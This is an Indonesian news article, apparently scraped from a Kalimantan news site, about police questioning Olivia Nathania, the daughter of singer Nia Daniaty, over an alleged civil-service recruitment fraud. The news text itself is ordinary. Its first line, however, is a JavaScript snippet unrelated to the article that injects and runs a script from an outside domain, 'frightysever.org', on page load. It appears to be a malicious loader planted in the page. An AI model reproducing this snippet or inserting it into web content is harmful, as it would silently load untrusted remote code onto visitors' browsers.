(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
selebriti

8 Jam Diperiksa Kasus Penipuan CPNS, Putri Nia Daniaty Tampak Kelelahan


KANALKALIMANTAN.COM – Putri penyanyi Nia Daniaty, Olivia Nathania alias Oi memenuhi panggilan kedua polisi soal kasus penipuan dengan modus rekruitmen CPNS, Senin (18/10/2021). Dia diperiksa selama delapan jam.

“Jadi begini, jadi total 83 pertanyaan sambungan dari yang kemarin ya. Kemarin kan 41, sekarang tambahannya berarti 42,” kata kuasa hukum Oi, Susanti Agustina saat ditemui di Polda Metro Jaya, Jakarta Selatan, Senin (18/10/2021).

Menurut Susanti pertanyaan seputar laporan dari Agustin dan Karnu yang mengaku sebagai korban. Dia menegaskan membantah pengakuan pelapor.

“Pertanyaannya juga seputar laporan daripada ibu Agustin dan pak Karnu, kita bantah,” ujarnya.

Hanya saja, Susanti menolak menjelaskan secara detail tentang pertanyaan penyidik.

 

Baca juga : Bahas Raperda Pencegahan Peredaran Narkotika, Fraksi DPRD Sambut Positif Langkah Pemkab HSU

“Itu kita nggak bisa menceritakan di sini karena itu masuk dalam penyidikan ya, hanya itu yang bisa dijawab,” kata Susanti.

Sementara itu, Oi tak banyak bicara usai diperiksa. Dia yang tampak lelah juga mengaku sedang tak enak badan.

“Kondisinya saya lagi kurang sehat tapi minta doanya aja biar semuanya dilancarkan,” kata Oi.

Sebelumnya, Olivia Nathania bersama suaminya Rafly N Tilaar, dilaporkan oleh Agustin dan Karnu terkait kasus penipuan dengan modus rekruitmen CPNS.

Baik Olivia dan suami, dilaporkan dengan dugaan pelanggaran Pasal 378 KUHP dan atau Pasal 372 KUHP dan atau 263 KHUP tentang penipuan, penggelapan dan pemalsuan surat-surat.

 

Baca juga : Bimtek Aplikasi Srikandi SKPD Pemprov Kalsel, Kadispersip Kalsel: Persiapan Peralihan dari Akun Uji Coba ke Akun Asli

Oi disebut menjanjikan para korban jadi PNS dengan syarat menyetor sejumlah uang. Pelapor juga menyebut korban tindak penipuan itu sebanyak 225 orang. Dari para korban, Oi disebut berhasil mengumpulkan Rp 9,7 miliar.

Olivia sendiri sudah memberikan klarifikasi dan menyebut bahwa ia hanya menyediakan les untuk mengikuti tes CPNS.

Karnu dan Agustin, yang mengaku sebagai korban, menurut Olivia justru pengrekrut para korban. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

3 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

4 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

5 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

5 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

5 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

8 jam ago

This website uses cookies.